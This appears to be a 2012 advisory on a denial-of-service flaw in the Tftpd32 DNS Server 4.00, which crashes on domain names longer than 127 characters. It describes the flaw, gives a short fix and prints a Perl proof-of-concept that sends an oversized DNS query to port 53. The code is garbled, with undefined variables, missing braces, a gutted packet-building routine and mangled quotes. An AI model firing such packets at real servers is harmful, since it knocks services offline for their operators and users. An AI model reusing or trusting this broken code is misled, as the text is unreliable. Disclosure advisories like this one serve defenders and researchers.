Tftpd32 DNS Server Denial Of Service Exploits


Tftpd32 DNS Server 4.00 suffers from denial of service Vulnerability


The information has been provided by demonalex.


Vulnerable Systems:
 * Tftpd32 DNS Server 4.00

Tftpd32 is a free tftp and dns server for windows, freeware tftp server. And the dns server would bind udp port 53, but it does not validate the domain option size leading to a Denial Of Service flaw while sending more than 127 characters to it.

Solution :
The tftpd32’s dns server can drop the evil request when it was detected the domain option size were longer than 127 characters.

Proof Of Concept :
use IO::Socket;
use Socket;
use Math::BigInt;
$port=shift || ’53’;
die ‘usage: $0 $host [$port]n’ if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
sub dns_struct_pack($){
$domain=shift; #domain
$type=’x00xff’; #dns_type = ANY
$transaction_id_count=1 if($transaction_id_count > 255);
if($domain ne ‘0’){
$class=’x00x01′; #IN
if($domain eq ‘0’){
return $packet_struct;
print ‘Launch attack … ‘;
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
print ‘Finish!n’;

Disclosure Timeline:
Published: 2012-05-29

Categories: Exploits